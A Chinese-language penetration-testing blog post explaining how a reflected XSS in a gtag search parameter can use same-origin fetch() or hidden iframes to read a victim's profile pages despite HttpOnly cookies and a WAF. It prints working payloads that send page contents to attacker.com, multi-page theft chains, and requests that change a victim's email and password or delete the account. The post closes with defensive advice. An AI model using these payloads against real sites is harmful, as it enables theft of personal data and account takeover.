記一次 XSS 使用 Same-Origin Fetch 繞過 HttpOnly cookie的技巧(延伸加上WAF Bypass)

前言

打了這麼久的滲透測試,也玩了很久的 XSS;自以為在滲透測試挖掘過許許多多的 XSS 漏洞,也有經過了 PortSwigger 的 Cross-site scripting (XSS) cheat sheet 洗禮。雖然也知道自己對 XSS 沒有到很進階熟悉,但原本以為許多技巧都略知一二。

發現有個有趣的小技巧我居然是現在才知道,來寫個文章記錄一下這個小技巧。

首先假設性的前提條件,我們合法授權的目標網站 :victim.hackercat.org 

我在目標網站 victim.hackercat.org 上發現了一個反射型 XSS 漏洞。但當我準備用經典的 document.cookie 做出一個 alert 視窗顯示 session cookie 或偷取它時,發現它設了 HttpOnly ,所以 JavaScript 會完全讀不到內容。

HttpOnly 本來就是一種防禦 Cookie 被 JavaScript 操控的防禦技巧之一,所以許多資安檢測跟掃描都會建議 Session cookie 或含有機敏資料的 Cookie 需要加上 HttpOnly 屬性。但有些開發者(甚至部分資安人員)認為「有 HttpOnly 就不用擔心 XSS 偷 cookie,所以不用擔心 XSS 風險」,這句話的前半段本身沒錯,但如果你以為這代表 XSS 的威脅被消除了,那就大錯特錯了,也並不代表 XSS 沒辦法利用其他方式來去繞過使用 session cookie。

這篇文章記錄了這次學習了 Same-Origin Fetch 技巧,在不需要竊取 cookie 的情況下,達到等同 session hijacking 的效果,直接以受害者的身份讀取個人資訊頁面,並將資料外傳到攻擊者的伺服器。

也補充一下之前有發文過 XSS 練習的文章:無止盡的 XSS:挑戰與練習平台整理

XSS 真的是也挺有趣的漏洞,利用方式、繞過方式,都非常的多樣跟特別。


第一步:找到 XSS 入口

假設在目標網站 victim.hackercat.org 上的搜尋功能發現了一個 XSS 漏洞。

在搜尋功能 /search?q= 中,使用者的搜尋關鍵字被直接嵌入行內 JavaScript (gtag追蹤碼) 中,沒有做任何 JavaScript 轉義:

// 伺服器端產生的行內 JavaScriptgtag('event', 'search', { search_term : 'USER_INPUT' });Code language: JSON / JSON with Comments (json)

注意這裡是 JavaScript 上下文,不是 HTML 上下文。
所以傳統的 HTML 標籤型 XSS payload 像 <script>alert(1)</script> 完全不需要,我們只要用單引號 ' 跳脫字串就行:

https://victim.hackercat.org/search?q=test'});alert(document.domain);//Code language: JavaScript (javascript)

伺服器產生的 JavaScript 變成:

gtag('event', 'search', { search_term : 'test'});alert(document.domain);//' });Code language: JavaScript (javascript)

拆解一下這個 payload:

片段作用
test'關閉原本的字串
});關閉 gtag() 的物件和函式呼叫
alert(document.domain);注入的 JavaScript
//註解掉後面的原始程式碼,避免語法錯誤

第二步:問題的起點 – HttpOnly 擋住了 Cookie 竊取

前面第一步其實重點只在於說發現了一個 XSS,是甚麼類型的 XSS 不用特別去管也沒關係。

確認 XSS 可以執行之後,第一反應當然是 alert 彈出視窗來驗證一下。

那如果要偷 session cookie 的話,傳統 XSS 攻擊的經典 payload 是:

new Image().src = 'https://attacker.com/steal?c=' + document.cookie;Code language: JavaScript (javascript)

這會把受害者的 session cookie 偷走,攻擊者拿到 cookie 就能在自己的電腦上冒充受害者。

victim.hackercat.org 的重要 session cookie ASP.NET_SessionId 已經設了 HttpOnly 屬性防禦。

關鍵的 HttpOnly 標記意味著 document.cookie 回傳的結果不會包含 ASP.NET_SessionId

所以因為 HttpOnly 的關係,document.cookie 回傳的值裡面沒有 ASP.NET_SessionId。攻擊者拿不到 session cookie,就沒辦法在攻擊者自己的電腦上冒充受害者。

Set-Cookie: ASP.NET_SessionId=xxx; path=/; HttpOnly; SameSite=Lax; SecureCode language: JavaScript (javascript)

到這裡可能會覺得「那 XSS 的威脅就有限了」。但真的是這樣嗎?


第三步:Same-Origin Fetch – 不需要偷 Cookie

核心觀念

你不需要「偷」cookie,你只需要「用」它。

當 XSS 在 victim.hackercat.org 上執行時,它跟這個網站的正常 JavaScript 沒有任何區別(同一個 origin)。瀏覽器發送 fetch()XMLHttpRequest 時,會自動附帶所有 cookie(包括 HttpOnly 的),因為這是 same-origin 請求。因為 HttpOnly 阻止的是「JavaScript 讀取 cookie 的值」,而不是「瀏覽器在請求中自動帶上 cookie」。

這是一個很重要但常被忽略的區別:

HttpOnly 保護的是:document.cookie → 看不到 session cookie 的值
HttpOnly 不保護的是:fetch('/profile') → 瀏覽器自動帶上 session cookieCode language: JavaScript (javascript)

所以攻擊思路變成:不偷 cookie,直接在受害者的瀏覽器裡用 fetch() 幫受害者發請求,讀取回應,然後外傳。

攻擊流程

受害者點擊含 XSS 的惡意連結
    ↓
瀏覽器載入 victim.hackercat.org/search?q=XSS_PAYLOAD
    ↓
XSS 在 victim.hackercat.org 的 origin 下執行
    ↓
fetch('/profile')
    → 瀏覽器自動附帶 HttpOnly 的 session cookie
    → 伺服器收到合法的認證請求(跟使用者自己開頁面一模一樣)
    → 回傳完整個人資訊頁面
    ↓
XSS 拿到完整 HTML response → 解析出個人資料 → 外傳到攻擊者伺服器Code language: JavaScript (javascript)

Payload

// 在 victim.hackercat.org 上執行
// 瀏覽器自動帶上 ASP.NET_SessionId — 即使 JS 看不到它的值
fetch('/profile')
  .then(r => r.text())
  .then(html => {
    // html 是 /profile 頁面的完整 HTTP response body
    // 跟使用者自己在瀏覽器「檢視原始碼」看到的內容一模一樣
    fetch('https://attacker.com/collect', {
      method: 'POST',
      body: html
    });
  });Code language: JavaScript (javascript)

攻擊者的伺服器會收到什麼?就是 /profile 頁面的完整 HTML — 包含姓名、email、電話、地址,以及頁面上所有隱藏欄位和 JavaScript 變數中的資料。(因為這個是受害者使用了自己的session cookie去訪問了 /profile 頁面的內容回傳給攻擊者的)

完整的 XSS Payload URL

https://victim.hackercat.org/search?q=test'});fetch('/profile').then(r=>r.text()).then(t=>{fetch('https://attacker.com/c',{method:'POST',body:t})});//Code language: JavaScript (javascript)

伺服器產生的 JavaScript:

gtag('event', 'search', { search_term : 'test'});
fetch('/profile').then(r=>r.text()).then(t=>{
  fetch('https://attacker.com/c',{method:'POST',body:t})
});//' });Code language: JavaScript (javascript)

跟傳統 Cookie 竊取(Session Hijacking)的比較

傳統 Cookie 竊取Same-Origin Fetch
需要讀取 cookie?需要 document.cookie不需要
HttpOnly 能擋?✅ 能擋❌ 擋不住
攻擊者在哪操作?攻擊者自己的電腦(拿到 cookie 後)受害者的瀏覽器內(即時)
攻擊持續時間直到 session 過期僅限受害者停留在頁面的時間
最終效果完全控制 session等同 session hijacking
IP 來源攻擊者的 IP受害者的 IP(更難追蹤)

值得注意的是,Same-Origin Fetch 有一個「優勢」是傳統 cookie 竊取沒有的:請求來自受害者的 IP。從伺服器的 access log 來看,這些請求跟使用者正常瀏覽完全一樣,更難被偵測。


延伸:遇到 WAF 攔截 – Sec-Fetch-Mode 與繞過

問題:WAF 攔截了 fetch 請求

雖然上面內容已經是足以應付有 HttpOnly 屬性的 session cookie。但剛好這次也遇到了另一個有趣的事情,就是測試時發現 WAF 攔截了 fetch('/profile') 的請求,回傳 403。分析後,發現(猜測) WAF 是透過 Sec-Fetch-Mode 這個 HTTP header 來判斷的;但也有可能是透過其他 HTTP header 或特徵來判斷。

主要猜測,因為上述方式使用 fetch() 時,會帶上 HTTP header Sec-Fetch-Mode: cors(fetch 預設是 cors mode,跟正常頁面導航的 navigate 不同)。

什麼是 Sec-Fetch-Mode?

Sec-Fetch-Mode 是瀏覽器自動加上的 request header,屬於 Fetch Metadata 規範。它的值由瀏覽器根據請求的發起方式自動決定,JavaScript 無法修改或偽造(屬於 forbidden header)。

不同的請求方式會產生不同的值:

請求方式Sec-Fetch-ModeSec-Fetch-Dest
使用者點連結 / 網址列輸入navigatedocument
<iframe src="...">navigateiframe
fetch()corsempty
XMLHttpRequestcorsempty
<img src="...">no-corsimage
<script src="...">no-corsscript

由於無法輕易修改偽造,WAF 的阻擋邏輯也就很合理:正常使用者存取 /profile 時,Sec-Fetch-Mode 一定是 navigate。如果是 cors,代表這是一個 AJAX 請求 — 正常的頁面導航不會產生這種請求,很可能是異常行為。

繞過方法 A:使用 jQuery $.get()

假設目標網站已經載入了 jQuery 3.6.0。$.get() 底層走的是 XMLHttpRequest,它的 Sec-Fetch-Mode 也是 cors,但其他 header 可能跟 fetch() 不同(例如 X-Requested-With: XMLHttpRequest),有機會讓 WAF 的規則匹配方式不同:

$.get('/profile', function(html) {
  $.post('https://attacker.com/collect', {data: html});
});Code language: JavaScript (javascript)

繞過方法 B:使用 iframe 注入

var f = document.createElement('iframe');
f.style.display = 'none';
f.src = '/profile';
f.onload = function() {
  var data = f.contentDocument.body.innerHTML;
  new Image().src = 'https://attacker.com/c?d=' + btoa(data);
};
document.body.appendChild(f);Code language: JavaScript (javascript)

iframe 載入頁面時的 Sec-Fetch-Mode 是 navigate — 跟使用者正常點連結一樣。WAF 比較不可能攔截這個請求,因為無法區分這是使用者正常瀏覽還是 XSS 注入的 iframe。

而且因為 iframe 和父頁面是 same-origin,父頁面的 JavaScript 可以直接用 f.contentDocument 存取 iframe 裡的 DOM 內容,完全沒有跨域限制。

唯一的差異是 Sec-Fetch-Dest 是 iframe 而非 document,但 WAF 可能比較不會擋 iframe,因為太多正常網站功能依賴 iframe。

繞過方法 C:使用 window.open() + 讀取

var w = window.open('/profile');
setTimeout(function() {
  var data = w.document.body.innerHTML;
  fetch('https://attacker.com/c', {method:'POST', body:data});
  w.close();
}, 2000);Code language: JavaScript (javascript)

也是 navigate mode,但會彈出新視窗,可能被 popup blocker 擋住,實戰中不太推薦。

三種方式的比較

方式Sec-Fetch-Mode繞過 WAF隱蔽性缺點
fetch()cors❌ 被攔截WAF 可偵測
jQuery $.get()cors⚠️ 可能需要網站已載入 jQuery
iframenavigate✅ 繞過最高無明顯缺點
window.open()navigate✅ 繞過彈窗可能被 blocker 擋

進階:多頁面連鎖竊取

實戰中受害者的敏感資料通常分散在多個頁面。XSS payload 可以依序讀取多個頁面:

// 先讀取個人資訊頁面列表
fetch('/member/profile').then(r => r.text()).then(profileHtml => {
  // 再讀取個人詳細資料
  fetch('/member/detail').then(r => r.text()).then(detailHtml => {
    // 還可以讀取其他頁面...
    var stolen = {
      profile: profileHtml,
      detail: detailHtml
    };
    // 一次外傳所有資料
    fetch('https://attacker.com/collect', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify(stolen)
    });
  });
});Code language: JavaScript (javascript)

用 iframe 方式做多頁面竊取:

function stealPage(url) {
  return new Promise(function(resolve) {
    var f = document.createElement('iframe');
    f.style.display = 'none';
    f.src = url;
    f.onload = function() {
      resolve(f.contentDocument.body.innerHTML);
      f.remove();
    };
    document.body.appendChild(f);
  });
}

Promise.all([
  stealPage('/member/profile'),
  stealPage('/member/detail')
]).then(function(pages) {
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({profile: pages[0], detail: pages[1]})
  });
});Code language: JavaScript (javascript)

註記:用 r.text() 它只能取得該 HTTP response body;無法直接取得頁面載入後由其他 API 動態產生的 DOM、執行期變數或 closure 內資料。


不只是讀取 – XSS 還能做什麼

這邊也補充紀錄,Same-Origin Fetch 不只能「讀」,還能「寫」。因為請求自動帶上 session cookie,攻擊者可以以受害者的身份執行任何操作

// 修改受害者的個人資料
fetch('/api/updateProfile', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'email=attacker@evil.com&phone=0900000000'
});

// 刪除受害者的資料
fetch('/api/deleteAccount', {method: 'POST'});

// 修改密碼(如果不需要舊密碼驗證)
fetch('/api/changePassword', {
  method: 'POST',
  body: 'newPassword=hacked123'
});Code language: JavaScript (javascript)

XSS 能做的事 = 受害者在瀏覽器裡能做的所有事。 HttpOnly 只擋住了「偷 cookie 到外部使用」這條路,但「在受害者瀏覽器內直接操作」這條路完全沒有被擋住。


使用這個技巧的時機

什麼時候需要用到 Same-Origin Fetch?

情境該用嗎?
XSS 存在 + Cookie 沒有 HttpOnly不需要,直接偷 cookie 更簡單
XSS 存在 + Cookie  HttpOnly✅ 用這個技巧
XSS 存在 + 需要讀取頁面上的資料(不只是 cookie)✅ 用這個技巧(即使沒有 HttpOnly)
想以受害者身份執行操作(CSRF-like)✅ 用這個技巧

其實即使 cookie 沒有設 HttpOnly,Same-Origin Fetch 往往還是比偷 cookie 更有效 — 因為你不只是拿到 session,而是直接拿到資料本身


防禦建議

能擋住 Same-Origin Fetch 的防禦

防禦機制效果說明
修復 XSS(輸出編碼)根本修復沒有 XSS 就沒有後續攻擊
Content Security Policy (CSP)✅ 最有效的緩解script-src 'self' 阻止 inline script 執行
WAF Sec-Fetch-Mode 檢查⚠️ 部分有效只擋 fetch()/XHR,iframe 繞過
X-Frame-Options⚠️ 部分有效DENY 的防禦可防 iframe 方式

擋不住 Same-Origin Fetch 的防禦

防禦機制為什麼擋不住
HttpOnly Cookie只擋 document.cookie 讀取,不擋瀏覽器自動附帶 cookie
SameSite CookieSameSite 管的是跨站請求,same-origin fetch 不受限制
CORSCORS 管的是跨 origin 請求,同 origin 完全不受限
CSRF TokenXSS 可以先讀取頁面取得 token,再帶上 token 發請求

參考資料

發佈留言